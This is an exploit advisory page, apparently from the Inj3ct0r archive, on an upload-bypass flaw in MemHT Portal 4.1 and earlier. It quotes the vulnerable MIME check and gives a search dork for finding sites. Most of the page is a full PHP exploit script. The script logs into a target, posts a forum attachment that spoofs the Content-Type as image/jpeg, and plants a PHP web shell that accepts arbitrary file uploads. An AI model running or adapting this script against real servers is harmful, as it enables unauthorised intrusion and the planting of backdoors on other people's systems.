Home / os / win7

MemHT Portal <= 4.1 Upload ByPass Vulnerabilities

Posted on 17 June 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>MemHT Portal &lt;= 4.1 Upload ByPass Vulnerabilities</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>================================================= MemHT Portal &lt;= 4.1 Upload ByPass Vulnerabilities ================================================= +-------------------------------------------------------------------------------------------------------------------------------+ | _______ __ ______ | | | | |.--.--.| |--..-----. | |.----..-----..--.--.--. | | | || | || &lt; | -__| | ---|| _|| -__|| | | | | | |__|____||_____||__|__||_____| |______||__| |_____||________| | +-------------------------------------------------------------------------------------------------------------------------------+ | Name: MemHT Portal &lt;= 4.1 Upload ByPass | | Software: MemHT Portal &lt;= 4.1 | | Site: http://www.memht.com | | Download: http://www.memht.com/index.php?page=release&amp;download=full | | Vulnerability: Upload ByPass | | Severity: high ( low / medium / high ) | | Tested on: 4.1 | | Dork: &quot;MemHT Portal&quot; | +-------------------------------------------------------------------------------------------------------------------------------+ | Author: Lord-Anubis | | Contact: lord.anu bis4[at]gm ail[dot]com | | Date: 16.06.2010 ( dd.mm.yyyy ) | | Site: http://lordanubis.altervista.org/ | +-------------------------------------------------------------------------------------------------------------------------------+ | Bug File: inc/class/uploadFile.class.php | | 217. function checkMime() { | | 218. if (sizeof($this-&gt;mime) AND !@in_array($this-&gt;FILES[$this-&gt;field]['type'],$this-&gt;mime)) { | | 219. $this-&gt;error = _ERROR_FILENOTPERMITTED_; | | 220. } | | 221. } | +-------------------------------------------------------------------------------------------------------------------------------+ | Bug Explanation: | | - EN: In the file inc/class/uploadFile.class.php the control on the file's type uploaded, happens checking if the | | &quot;Content-Type&quot; sended between the header is on the array $this-&gt;mime. Therefore it's possible execute the | | upload of a PHP file,simply sending the header &quot;Content-Type: image/jpeg &quot;. | | //////////////////////////////////////////////////////////////////////////////////////////////////////////////////// | | - ITA: Nel file inc/class/uploadFile.class.php il controllo sul tipo di file caricato avviene verificando se il | | &quot;Content-Type&quot; inviato tramite header è presente nell'array $this-&gt;mime. E' quindi possibile effettuare | | l'upload di un file PHP inviando, semplicemente, l'header &quot;Content-Type: image/jpeg &quot;. | | //////////////////////////////////////////////////////////////////////////////////////////////////////////////////// | | - PL: W pliku inc/class/uploadFile.class.php kontrol nad typem wniesionego file przeprowadza sie sprawdzajac | | &quot;Content-Type&quot; przeslany przez header znajduje sie w array $this-&gt;mime. Jest mozliwe przeprowadzic upload file | | PHP, wprowadzajac po prostu header &quot;Content-Type: image/jpeg &quot;. | +-------------------------------------------------------------------------------------------------------------------------------+ | Exploit: | +-------------------------------------------------------------------------------------------------------------------------------+ &lt;?php /** * exploit.php * * Software: MemHT Portal &lt;= 4.1 * Author: Lord-Anubis &lt;lord.anu bis4[at]gm ail[dot]com&gt; * Vulnerability: Upload ByPass */ // error_reporting(0); ini_set(&quot;max_execution_time&quot;, 0); ini_set(&quot;default_socket_timeout&quot;, 5); // function sendPacket($packet) { global $hostName; if (!$sock = fsockopen(gethostbyname($hostName), 80)) { exit(&quot;[-] No response from '{$hostName}' &quot;); } fputs($sock, $packet); while (!feof($sock)) { $html .= fgets($sock); } fclose($sock); return $html; } // function randomNum() { for ($i = 0; $i &lt; 15; $i++) { $rand .= rand(0, 9); } return $rand; } // function phpCode() { return &quot;&lt;form method=&quot;post&quot; action=&quot;&lt;?php echo &quot;?$_SERVER[QUERY_STRING]&quot;; ?&gt;&quot; enctype=&quot;multipart/form-data&quot;&gt;&lt;input type=&quot;file&quot; name=&quot;upload&quot; /&gt;&lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;submit&quot; /&gt;&lt;/form&gt;&quot;. &quot;&lt;?php error_reporting(0); set_time_limit(0); $link = dirname(__FILE__) . DIRECTORY_SEPARATOR . $_FILES['upload']['name'];&quot;. &quot;if (move_uploaded_file($_FILES['upload']['tmp_name'], $link)) { echo $link; chmod($link, 0666); } else { echo &quot;Error uploading. ( by Lord-Anubis )&quot;; } ?&gt;&quot;; } // if ($argc != 5) { exit( &quot;[+] Software: MemHT Portal &lt;= 4.1 &quot;. &quot;[+] Author: Lord-Anubis &quot;. &quot;[+] Vulnerability: Upload ByPass &quot;. &quot;[+] Usage: ./exploit [hostName] [path] [userName] [passWord] &quot;. &quot;[+] Example: &quot;. &quot;[+] ./exploit 127.0.0.1 / anubis password &quot;. &quot;[+] ./exploit hostname.com /wowbb/ mark s3cret &quot; ); } // list($cli, $hostName, $path, $userName, $passWord) = $argv; // if (substr($path, 0, 1) != &quot;/&quot;) { $path = &quot;/$path&quot;; } if (substr($path, -1) != &quot;/&quot;) { $path = &quot;$path/&quot;; } // $postData = &quot;post_username={$userName}&amp;post_password={$passWord}&amp;Submit=Login&amp;login=true&quot;; $packet = &quot;POST http://{$hostName}{$path}index.php?page=users HTTP/1.1 &quot;; $packet .= &quot;Content-Type: application/x-www-form-urlencoded &quot;; $packet .= &quot;Host: {$hostName} &quot;; $packet .= &quot;Content-Length: &quot;.strlen($postData).&quot; &quot;; $packet .= &quot;Referer: http://{$hostName}{$path} &quot;; $packet .= $postData; $return = sendPacket($packet); // preg_match('/login\_user=(.*?);/is', $return, $return1); preg_match('/PHPSESSID=(.*?);/is', $return, $return2); $cookie = $return1[1]; $session = $return2[1]; // if ($cookie == 'deleted') { echo(&quot;[-] UserName or Password is invalid &quot;); echo(&quot;[-] Exploit failed &quot;); exit; } // for (;;) { if (empty($fid)) { $fid = 1; } if ($fid &gt; 100) { echo(&quot;[-] Forum is disbled &quot;); echo(&quot;[-] Exploit failed &quot;); exit; } if (preg_match('/class='forum_legend'/is', file_get_contents(&quot;http://{$hostName}{$path}index.php?page=forum&amp;op=viewForum&amp;id={$fid}&quot;))) { break; } $fid = $fid + 1; } // $boundary = randomNum(); $fileName = randomNum(); // $postArray = array( &quot;name&quot; =&gt; &quot;Hello Wolrd!!!&quot;, &quot;text&quot; =&gt; &quot;My name is Mark, i'm from 23 years old and i'm from US.&quot;, &quot;tags&quot; =&gt; &quot;&quot;, &quot;attachment&quot; =&gt; phpCode(), &quot;smiles&quot; =&gt; &quot;1&quot;, &quot;notification&quot; =&gt; &quot;0&quot;, &quot;Send&quot; =&gt; &quot;Send&quot;, &quot;ok&quot; =&gt; &quot;true&quot;, ); // $postData = &quot;&quot;; foreach ($postArray as $key =&gt; $value) { $postData .= &quot;-----------------------------{$boundary} &quot;; $postData .= &quot;Content-Disposition: form-data; name=&quot;{$key}&quot;&quot;.($key === 'attachment' ? &quot;; filename=&quot;{$fileName}.php&quot;&quot; : &quot;&quot;).&quot; &quot;; $postData .= ($key === 'attachment' ? &quot;Content-Type: image/jpeg &quot; : &quot;&quot;); $postData .= &quot; &quot;; $postData .= &quot;{$value} &quot;; } // $postData .= &quot;-----------------------------{$boundary}-- &quot;; $packet = &quot;POST http://{$hostName}{$path}index.php?page=forum&amp;op=newThread&amp;id={$fid} HTTP/1.1 &quot;; $packet .= &quot;Accept: image/gif, image/pjpeg, image/jpeg, image/png, image/tiff, image/bmp */* &quot;; $packet .= &quot;Referer: http://{$hostName}{$path} &quot;; $packet .= &quot;Content-Type: multipart/form-data; boundary=---------------------------{$boundary} &quot;; $packet .= &quot;Host: {$hostName} &quot;; $packet .= &quot;Content-Length: &quot;.strlen($postData).&quot; &quot;; $packet .= &quot;Cookie: PHPSESSID={$session}; login_user={$cookie}; &quot;; $packet .= &quot;Connection: Close &quot;; $packet .= $postData; sendPacket($packet); // if (!preg_match('/Lord-Anubis/is', file_get_contents(&quot;http://{$hostName}{$path}pages/forum/attachment/{$fileName}.php&quot;))) { echo(&quot;[-] Attachment not found &quot;); echo(&quot;[-] Exploit failed &quot;); exit; } // echo(&quot;[+] http://{$hostName}{$path}pages/forum/attachment/{$fileName}.php &quot;); echo(&quot;[+] Exploit successfull &quot;); exit; ?&gt; # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-06-17]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP